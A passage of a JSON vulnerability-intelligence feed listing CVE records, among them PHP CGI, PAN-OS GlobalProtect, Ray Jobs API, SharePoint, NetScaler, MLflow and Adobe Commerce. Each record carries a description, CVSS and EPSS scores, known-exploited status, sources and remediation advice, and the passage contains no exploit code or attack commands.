page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-253c-mchw-3w2r, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102010","cveId":"CVE-2026-102010","aliases":[],"kind":"vulnerability","title":"A flaw was found in GCC. When an application calls the erase_if function on a binary heap priority queue in libstdc++, the library reallocates storage but fails to update its...","summary":"A flaw was found in GCC. When an application calls the erase_if function on a binary heap priority queue in libstdc++, the library reallocates storage but fails to update its internal entry pointer. An attacker capable of triggering this operation can exploit this use-after-free condition, leading to a Denial of Service (DoS) via an application crash or potential memory corruption.","detail":"A flaw was found in GCC. When an application calls the erase_if function on a binary heap priority queue in libstdc++, the library reallocates storage but fails to update its internal entry pointer. An attacker capable of triggering this operation can exploit this use-after-free condition, leading to a Denial of Service (DoS) via an application crash or potential memory corruption.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-09-28T19:16:48.830Z","updatedAt":"2026-10-26T14:16:22.300Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102010","asOf":"2026-10-26T14:16:22.300Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102010","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102010","type":"primary","publishedAt":"2026-09-28T19:16:48.830Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"openai-coordinated-disclosure-of-critical-vulnerabilities-de9db6f384cb","cveId":null,"aliases":[],"kind":"ai-research","title":"Patch the Planet: global response coordination as agents uncover critical vulnerabilities","summary":"Patch the Planet connects security researchers, maintainers, and incident responders to help address critical vulnerabilities across open source.","detail":"Patch the Planet connects security researchers, maintainers, and incident responders to help address critical vulnerabilities across open source.\n\nPublished by OpenAI; not independently reviewed by KEVWire. Consult the exact article and any primary disclosure it links.","action":"Read the original post for its scope and limitations before applying its findings.","publishedAt":"2026-10-21T07:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"defense","evidence":"confirmed","explanation":"The source describes AI used to find or fix security problems, or safety research. Disclosed by OpenAI, the organization that runs or studies the system.","sourceUrl":"https://openai.com/index/coordinated-disclosure-of-critical-vulnerabilities"},"sources":[{"name":"OpenAI: Patch the Planet: global response coordination as agents uncover critical vulnerabilities","url":"https://openai.com/index/coordinated-disclosure-of-critical-vulnerabilities","type":"primary","publishedAt":"2026-10-21T07:00:00.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own post describing safety or security research; authoritative for what it states, not independently verified here."},{"name":"OpenAI syndication feed","url":"https://openai.com/news/rss.xml","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4577","cveId":"CVE-2024-4577","aliases":[],"kind":"vulnerability","title":"PHP CGI argument injection on Windows","summary":"Windows character conversion can let unauthenticated requests inject PHP options and execute code in affected CGI configurations. DEVCORE verified Japanese CP932 among the affected locales; Talos later documented exploitation targeting organizations in Japan.","detail":"DEVCORE's initial fixed releases were PHP 8.3.8, 8.2.20, and 8.1.29. Exposing the PHP executable through a CGI directory can also create exposure. Talos's March 6, 2025 report identifies TaoWu as a Cobalt Strike toolkit, not an AI system or proof of ransomware attribution.","action":"Install a current supported PHP security release and assess CGI exposure against DEVCORE's advisory. Remove unnecessary PHP CGI mappings; its locale-specific rewrite rule is only a temporary mitigation.","publishedAt":"2024-06-06","updatedAt":"2025-03-06","regions":["Global","Japan"],"vendor":"PHP Group","product":"PHP CGI on Windows","stacks":["Microsoft Windows","PHP","Windows","Apache","Web applications","PHP Group"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-06-12","dueAt":"2024-07-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2024-4577","asOf":"2024-06-21T19:08:41.387Z"},"epss":{"probability":0.99987,"percentile":0.99984,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4577&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The vulnerability advisory and Talos investigation do not establish attacker AI use. Exploit scripts and automated reconnaissance are not AI attribution.","sourceUrl":null},"sources":[{"name":"DEVCORE security advisory","url":"https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/","type":"primary","publishedAt":"2024-06-06","checkedAt":"2026-10-26","supports":"Mechanism, verified Japanese locale, exposed-CGI scenarios, initial fixes, and mitigation limitations."},{"name":"Cisco Talos: Unmasking the new persistent attacks on Japan","url":"https://blog.talosintelligence.com/new-persistent-attacks-japan/","type":"primary","publishedAt":"2025-03-06","checkedAt":"2026-10-26","supports":"Observed exploitation targeting Japan, credential theft, and use of the TaoWu Cobalt Strike toolkit."},{"name":"CISA KEV JSON: CVE-2024-4577","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"This CVE's membership, addition date, federal due date, required action, and known ransomware-use field."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4577&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4577, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA php","url":"https://cveawg.mitre.org/api/cve/CVE-2024-4577","type":"primary","publishedAt":"2024-06-09T19:42:36.464Z","checkedAt":"2026-10-26T13:40:05.166Z","supports":"The published CVE-2024-4577 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"CVE-2024-3400","cveId":"CVE-2024-3400","aliases":[],"kind":"vulnerability","title":"PAN-OS GlobalProtect command injection","summary":"An unauthenticated attacker can execute commands with root privileges on affected PAN-OS firewalls with GlobalProtect enabled. Volexity documented exploitation before disclosure, and JPCERT/CC received reports of affected organizations in Japan.","detail":"Exposure requires a GlobalProtect gateway or portal on affected PAN-OS 10.2, 11.0, or 11.1 releases. Disabling device telemetry is not an effective mitigation. The vendor excludes Cloud NGFW, Panorama, and Prisma Access from this vulnerability.","action":"Use the vendor's fixed-version matrix and upgrade affected firewalls. Preserve a technical support file before upgrading a suspected compromised device, and follow the vendor's recovery guidance rather than assuming a patch removes an existing compromise.","publishedAt":"2024-04-12","updatedAt":"2024-05-03","regions":["Global","Japan"],"vendor":"Palo Alto Networks","product":"PAN-OS GlobalProtect","stacks":["Palo Alto Networks","PAN-OS","Firewall / VPN","Network edge"],"knownExploited":true,"zeroDay":true,"kev":{"addedAt":"2024-04-12","dueAt":"2024-04-19","action":"Apply mitigations per vendor instructions as they become available. Otherwise, users with vulnerable versions of affected devices should enable Threat Prevention IDs available from the vendor. See the vendor bulletin for more details and a patch release schedule.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:Y/R:U/V:C/RE:M/U:Red","sourceUrl":"https://security.paloaltonetworks.com/CVE-2024-3400","asOf":"2026-10-26"},"epss":{"probability":0.99999,"percentile":1,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-3400&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The linked investigations establish exploitation, not AI-assisted exploit development or attacker AI use.","sourceUrl":null},"sources":[{"name":"Palo Alto Networks security advisory","url":"https://security.paloaltonetworks.com/CVE-2024-3400","type":"primary","publishedAt":"2024-04-12","checkedAt":"2026-10-26","supports":"Affected configurations, exclusions, CVSS 4.0, fixes, evidence preservation, and revised telemetry guidance."},{"name":"Volexity zero-day investigation","url":"https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/","type":"primary","publishedAt":"2024-04-12","checkedAt":"2026-10-26","supports":"Direct observation of pre-disclosure exploitation and the distinction between patching and compromise recovery."},{"name":"JPCERT/CC alert JPCERT-AT-2024-0009","url":"https://www.jpcert.or.jp/at/2024/at240009.html","type":"primary","publishedAt":"2024-04-13","checkedAt":"2026-10-26","supports":"Reports of exploitation affecting organizations in Japan, mitigations, and forensic investigation guidance."},{"name":"CISA KEV JSON: CVE-2024-3400","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"This CVE's membership, addition date, federal due date, required action, and known ransomware-use field."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-3400&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-3400, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"CVE-2023-48022","cveId":"CVE-2023-48022","aliases":["ShadowRay"],"kind":"vulnerability","title":"Ray Jobs API exposure with disputed CVE status","summary":"Ray's Jobs API can execute submitted code on a cluster reachable by untrusted clients. Oligo reports malicious use of exposed clusters; Anyscale disputes the CVE because Ray's security boundary requires a controlled network environment.","detail":"The report concerns open-source Ray, not Anyscale's managed SaaS. The current CVE retains its disputed tag and notes token authentication from Ray 2.52.0. Current Ray documentation still requires encrypted network access; a token is not a substitute for isolation.","action":"Keep Ray APIs within a trusted network and review exposed clusters for malicious jobs. Configure token authentication and encrypted connections using Ray's current guidance; do not treat the historical dispute as evidence that public exposure is safe.","publishedAt":"2023-11-28","updatedAt":"2025-12-17","regions":["Global"],"vendor":"Ray Project / Anyscale","product":"Open-source Ray Jobs API and dashboard","stacks":["Kubernetes","Python","Ray","Cloud","AI / ML infrastructure"],"knownExploited":true,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2023-48022","asOf":"2024-06-12T20:30:40.072Z"},"epss":{"probability":0.83942,"percentile":0.99689,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-48022&date=2026-10-25"}},"ai":{"role":"infrastructure","evidence":"confirmed","explanation":"Ray supports distributed AI workloads. Oligo's malicious-use report is about attacks on that infrastructure, not evidence of AI-assisted attackers.","sourceUrl":"https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild"},"sources":[{"name":"Oligo ShadowRay investigation","url":"https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild","type":"primary","publishedAt":"2024-03-26","checkedAt":"2026-10-26","supports":"Reported observations of malicious jobs, miners and reverse shells on exposed AI clusters; open-source product scope."},{"name":"Anyscale update on Ray CVEs","url":"https://www.anyscale.com/blog/update-on-ray-cves-cve-2023-6019-cve-2023-6020-cve-2023-6021-cve-2023-48022-cve-2023-48023","type":"primary","publishedAt":"2023-11-30","checkedAt":"2026-10-26","supports":"Vendor's disputed-CVE position and the external network security boundary; historical authentication context."},{"name":"Ray token authentication documentation","url":"https://docs.ray.io/en/latest/ray-security/token-auth.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26","supports":"Token support from 2.52.0, current rollout caveats, and the requirement for encrypted network connections."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-48022&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-48022, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2023-48022","type":"primary","publishedAt":"2023-11-28T00:00:00.000Z","checkedAt":"2026-10-26T13:40:05.166Z","supports":"The published CVE-2023-48022 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"editorial","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":"2026-10-26"},"reviewed":false},{"id":"CVE-2026-65660","cveId":"CVE-2026-65660","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Code Injection Vulnerability","summary":"Microsoft SharePoint contains a code injection vulnerability which could allow an authorized attacker to execute code over a network.","detail":"CISA added this entry on 2026-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-25","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"Microsoft","product":"SharePoint","stacks":["Microsoft SharePoint","Microsoft","SharePoint","sharepoint server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-25","dueAt":"2026-09-28","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65660","asOf":"2026-10-26T13:10:00.140Z"},"epss":{"probability":0.08189,"percentile":0.9483,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65660&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-65660","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-65660 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"NVD CVE-2026-65660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65660","type":"primary","publishedAt":"2026-08-11T17:18:54.080Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-65660","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65660&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65660, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19490","cveId":"CVE-2026-19490","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler Authentication Bypass Using an Alternate Path or Channel Vulnerability","summary":"Citrix NetScaler ADC and NetScaler Gateway contain an authentication-bypass vulnerability involving an alternate path or channel. When the NetScaler appliance is configured as an AAA virtual server or as a Gateway (SSL VPN, ICA Proxy, CVPN, or RDP Proxy), an unauthenticated remote threat actor may be able to bypass authentication.","detail":"CISA added this entry on 2026-09-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-09","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"Citrix","product":"NetScaler","stacks":["Citrix NetScaler","Citrix","NetScaler","netscaler application delivery controller"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-09","dueAt":"2026-09-12","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19490","asOf":"2026-10-26T13:10:00.140Z"},"epss":{"probability":0.32653,"percentile":0.98329,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19490&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-19490","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-19490 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"NVD CVE-2026-19490","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19490","type":"primary","publishedAt":"2026-08-19T13:17:45.000Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696939","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19490&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19490, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-64849","cveId":"CVE-2026-64849","aliases":[],"kind":"vulnerability","title":"MLflow Server-Side Request Forgery Vulnerability","summary":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.","detail":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-17T22:17:23.580Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"lfprojects","product":"mlflow","stacks":["Lfprojects","MLflow","mlflow"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-19","dueAt":"2026-09-02","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-64849","asOf":"2026-10-26T13:10:00.140Z"},"epss":{"probability":0.10017,"percentile":0.95581,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-64849&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-64849","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-64849","type":"primary","publishedAt":"2026-08-17T22:17:23.580Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"CISA KEV entry CVE-2026-64849","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-64849 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-64849&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-64849, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-71362","cveId":"CVE-2026-71362","aliases":[],"kind":"vulnerability","title":"Adobe Commerce and Magento Incorrect Authorization Vulnerability","summary":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources. Exploitation of this issue does not require user interaction.","detail":"Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources. Exploitation of this issue does not require user interaction.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-11T18:18:21.610Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"adobe","product":"commerce","stacks":["Adobe Commerce and Magento","Adobe","Commerce and Magento","commerce"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-24","dueAt":"2026-09-27","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-71362","asOf":"2026-10-26T13:10:00.140Z"},"epss":{"probability":0.90491,"percentile":0.99799,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-71362&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-71362","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71362","type":"primary","publishedAt":"2026-08-11T18:18:21.610Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS, affected products, and a CISA SSVC assessment reporting active exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://helpx.adobe.com/security/products/magento/apsb26-92.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 